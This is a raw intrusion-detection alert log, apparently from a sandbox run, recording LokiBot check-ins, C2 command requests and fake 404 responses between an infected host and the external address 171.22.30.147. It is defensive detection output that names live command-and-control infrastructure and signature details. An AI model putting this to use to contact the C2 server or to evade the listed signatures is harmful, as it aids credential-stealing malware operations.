192.168.2.3171.22.30.14749933802021641 01/05/23-08:53:20.043516	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49933	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750077802024313 01/05/23-08:54:02.067623	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50077	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749882802025381 01/05/23-08:53:04.789158	TCP	2025381	ET TROJAN LokiBot Checkin	49882	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750065802024318 01/05/23-08:53:58.843527	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50065	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750068802024318 01/05/23-08:53:59.646284	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50068	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749928802025381 01/05/23-08:53:18.678448	TCP	2025381	ET TROJAN LokiBot Checkin	49928	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749745802825766 01/05/23-08:52:24.023320	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49745	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749798802024313 01/05/23-08:52:40.547899	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749758802021641 01/05/23-08:52:27.765970	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750062802021641 01/05/23-08:53:58.073723	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50062	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749789802024318 01/05/23-08:52:38.076275	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49789	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750012802825766 01/05/23-08:53:43.190304	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50012	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749798802024318 01/05/23-08:52:40.547899	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49798	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749789802024313 01/05/23-08:52:38.076275	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749970802021641 01/05/23-08:53:32.043326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49970	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750037802021641 01/05/23-08:53:51.314352	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50037	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749900802024318 01/05/23-08:53:10.997847	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49900	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750034802021641 01/05/23-08:53:50.478539	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50034	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749854802025381 01/05/23-08:52:57.240558	TCP	2025381	ET TROJAN LokiBot Checkin	49854	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499362025483 01/05/23-08:53:20.912682	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49936	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749786802021641 01/05/23-08:52:37.217550	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49786	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749973802024313 01/05/23-08:53:32.829653	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49973	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749762802025381 01/05/23-08:52:28.868227	TCP	2025381	ET TROJAN LokiBot Checkin	49762	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499142025483 01/05/23-08:53:14.932365	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49914	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749973802024318 01/05/23-08:53:32.829653	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49973	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749845802025381 01/05/23-08:52:54.838950	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749961802021641 01/05/23-08:53:29.597138	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49961	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749974802825766 01/05/23-08:53:33.106432	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49974	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749799802825766 01/05/23-08:52:40.836883	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49799	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750076802025381 01/05/23-08:54:01.789357	TCP	2025381	ET TROJAN LokiBot Checkin	50076	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749764802825766 01/05/23-08:52:29.472789	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49764	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749891802825766 01/05/23-08:53:07.205477	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49891	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749771802025381 01/05/23-08:52:31.374001	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749900802024313 01/05/23-08:53:10.997847	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49900	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749929802024318 01/05/23-08:53:18.948979	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49929	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750011802024318 01/05/23-08:53:42.925761	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50011	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749869802021641 01/05/23-08:53:01.298022	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49869	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749929802024313 01/05/23-08:53:18.948979	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49929	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749846802024313 01/05/23-08:52:55.097334	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749920802825766 01/05/23-08:53:16.511672	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49920	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749736802825766 01/05/23-08:52:21.543284	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49736	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749819802825766 01/05/23-08:52:46.293306	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49819	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749790802025381 01/05/23-08:52:38.345416	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750068802024313 01/05/23-08:53:59.646284	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50068	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749907802021641 01/05/23-08:53:12.956728	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49907	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499492025483 01/05/23-08:53:24.440314	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49949	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749702802024318 01/05/23-08:52:08.155254	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49702	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749763802024318 01/05/23-08:52:29.176849	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49763	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749815802024313 01/05/23-08:52:45.213789	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500602025483 01/05/23-08:53:57.625551	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50060	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749763802024313 01/05/23-08:52:29.176849	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49763	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498122025483 01/05/23-08:52:44.499614	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49812	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749858802024318 01/05/23-08:52:58.341182	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49858	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750013802025381 01/05/23-08:53:43.455950	TCP	2025381	ET TROJAN LokiBot Checkin	50013	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750038802825766 01/05/23-08:53:51.593310	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50038	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749840802021641 01/05/23-08:52:53.465268	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49840	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749999802024318 01/05/23-08:53:39.715844	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49999	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749843802024318 01/05/23-08:52:54.266621	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49843	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749843802024313 01/05/23-08:52:54.266621	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49843	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749880802025381 01/05/23-08:53:04.232334	TCP	2025381	ET TROJAN LokiBot Checkin	49880	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749797802025381 01/05/23-08:52:40.255110	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498942025483 01/05/23-08:53:08.094953	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49894	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749779802025381 01/05/23-08:52:35.235559	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749975802025381 01/05/23-08:53:33.363507	TCP	2025381	ET TROJAN LokiBot Checkin	49975	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749791802024313 01/05/23-08:52:38.617554	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749886802024318 01/05/23-08:53:05.845633	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49886	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750079802025381 01/05/23-08:54:02.588823	TCP	2025381	ET TROJAN LokiBot Checkin	50079	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497632025483 01/05/23-08:52:29.259911	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49763	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749791802024318 01/05/23-08:52:38.617554	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49791	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749886802024313 01/05/23-08:53:05.845633	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49886	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749903802024313 01/05/23-08:53:11.877542	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49903	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497132025483 01/05/23-08:52:12.903010	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49713	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749725802024313 01/05/23-08:52:18.390674	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49725	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750060802021641 01/05/23-08:53:57.543966	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50060	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749720802024318 01/05/23-08:52:16.949813	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49720	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749721802825766 01/05/23-08:52:17.231128	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49721	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749702802024313 01/05/23-08:52:08.155254	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49702	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749815802024318 01/05/23-08:52:45.213789	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49815	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499772025483 01/05/23-08:53:33.981197	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49977	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749737802021641 01/05/23-08:52:21.818381	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49737	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749720802024313 01/05/23-08:52:16.949813	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49720	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749816802825766 01/05/23-08:52:45.483412	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49816	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498402025483 01/05/23-08:52:53.550362	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49840	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749885802025381 01/05/23-08:53:05.575803	TCP	2025381	ET TROJAN LokiBot Checkin	49885	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750076802825766 01/05/23-08:54:01.789357	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50076	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750065802021641 01/05/23-08:53:58.843527	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50065	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499932025483 01/05/23-08:53:38.222516	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49993	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749930802021641 01/05/23-08:53:19.220224	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49930	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500322025483 01/05/23-08:53:50.027342	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50032	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750022802021641 01/05/23-08:53:46.665385	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50022	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749795802021641 01/05/23-08:52:39.717554	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749798802021641 01/05/23-08:52:40.547899	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500102025483 01/05/23-08:53:42.733074	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50010	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498622025483 01/05/23-08:52:59.516920	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49862	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498072025483 01/05/23-08:52:43.124131	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49807	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749977802025381 01/05/23-08:53:33.899852	TCP	2025381	ET TROJAN LokiBot Checkin	49977	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749725802024318 01/05/23-08:52:18.390674	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49725	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750037802024313 01/05/23-08:53:51.314352	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50037	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749903802024318 01/05/23-08:53:11.877542	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49903	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749881802024313 01/05/23-08:53:04.500331	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49881	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749782802825766 01/05/23-08:52:36.098088	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49782	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749842802025381 01/05/23-08:52:54.011182	TCP	2025381	ET TROJAN LokiBot Checkin	49842	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750037802024318 01/05/23-08:53:51.314352	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50037	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749973802021641 01/05/23-08:53:32.829653	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49973	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749881802024318 01/05/23-08:53:04.500331	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49881	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749882802825766 01/05/23-08:53:04.789158	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49882	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749998802025381 01/05/23-08:53:39.461942	TCP	2025381	ET TROJAN LokiBot Checkin	49998	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749814802025381 01/05/23-08:52:44.953030	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499112025483 01/05/23-08:53:14.096617	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49911	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749831802025381 01/05/23-08:52:49.539016	TCP	2025381	ET TROJAN LokiBot Checkin	49831	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749960802825766 01/05/23-08:53:28.475539	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49960	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749984802021641 01/05/23-08:53:35.743967	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49984	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749701802025381 01/05/23-08:52:07.731855	TCP	2025381	ET TROJAN LokiBot Checkin	49701	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749999802024313 01/05/23-08:53:39.715844	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49999	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750064802025381 01/05/23-08:53:58.597698	TCP	2025381	ET TROJAN LokiBot Checkin	50064	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749859802825766 01/05/23-08:52:58.622571	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49859	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749935802021641 01/05/23-08:53:20.565175	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49935	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749949802025381 01/05/23-08:53:24.361661	TCP	2025381	ET TROJAN LokiBot Checkin	49949	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749854802825766 01/05/23-08:52:57.240558	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49854	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750036802025381 01/05/23-08:53:51.046851	TCP	2025381	ET TROJAN LokiBot Checkin	50036	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498292025483 01/05/23-08:52:49.086295	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49829	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749858802024313 01/05/23-08:52:58.341182	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49858	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749829802021641 01/05/23-08:52:49.001962	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49829	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749772802021641 01/05/23-08:52:31.644906	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749867802021641 01/05/23-08:53:00.773467	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49867	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749954802025381 01/05/23-08:53:25.726692	TCP	2025381	ET TROJAN LokiBot Checkin	49954	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749805802825766 01/05/23-08:52:42.467353	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49805	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749861802021641 01/05/23-08:52:59.149010	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49861	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749819802025381 01/05/23-08:52:46.293306	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500002025483 01/05/23-08:53:40.075634	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50000	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500822025483 01/05/23-08:54:03.613532	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50082	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498722025483 01/05/23-08:53:02.170418	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49872	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749776802025381 01/05/23-08:52:33.619524	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749920802025381 01/05/23-08:53:16.511672	TCP	2025381	ET TROJAN LokiBot Checkin	49920	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497412025483 01/05/23-08:52:22.999014	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49741	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749895802021641 01/05/23-08:53:08.372653	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49895	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499272025483 01/05/23-08:53:18.508316	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49927	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749928802825766 01/05/23-08:53:18.678448	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49928	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749922802825766 01/05/23-08:53:17.061545	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49922	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749952802024313 01/05/23-08:53:25.200806	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49952	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749952802024318 01/05/23-08:53:25.200806	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49952	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749785802825766 01/05/23-08:52:36.951784	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49785	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497852025483 01/05/23-08:52:37.034393	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49785	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749833802825766 01/05/23-08:52:50.090304	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49833	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749851802825766 01/05/23-08:52:56.435777	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49851	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749938802021641 01/05/23-08:53:21.374225	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49938	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498282025483 01/05/23-08:52:48.817477	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49828	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497082025483 01/05/23-08:52:10.878854	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49708	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749956802021641 01/05/23-08:53:26.250117	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49956	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499712025483 01/05/23-08:53:32.380645	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49971	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749749802024318 01/05/23-08:52:25.162571	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49749	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750015802025381 01/05/23-08:53:43.993137	TCP	2025381	ET TROJAN LokiBot Checkin	50015	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750083802021641 01/05/23-08:54:03.789158	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50083	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749746802024313 01/05/23-08:52:24.299560	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49746	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749749802024313 01/05/23-08:52:25.162571	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749832802024318 01/05/23-08:52:49.809310	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49832	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750016802024313 01/05/23-08:53:44.267939	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50016	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500162025483 01/05/23-08:53:44.354822	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50016	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750019802024313 01/05/23-08:53:45.311637	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50019	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749924802024318 01/05/23-08:53:17.587003	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49924	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750073802825766 01/05/23-08:54:00.951462	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50073	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750016802024318 01/05/23-08:53:44.267939	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50016	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749734802021641 01/05/23-08:52:20.978367	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49734	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749832802024313 01/05/23-08:52:49.809310	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49832	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749921802024313 01/05/23-08:53:16.794242	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49921	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750019802024318 01/05/23-08:53:45.311637	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50019	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749921802024318 01/05/23-08:53:16.794242	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49921	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749774802024318 01/05/23-08:52:32.369884	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49774	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749706802021641 01/05/23-08:52:09.771973	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49706	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749978802024313 01/05/23-08:53:34.155329	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49978	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749709802021641 01/05/23-08:52:11.256691	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49709	80	192.168.2.3	171.22.30.147
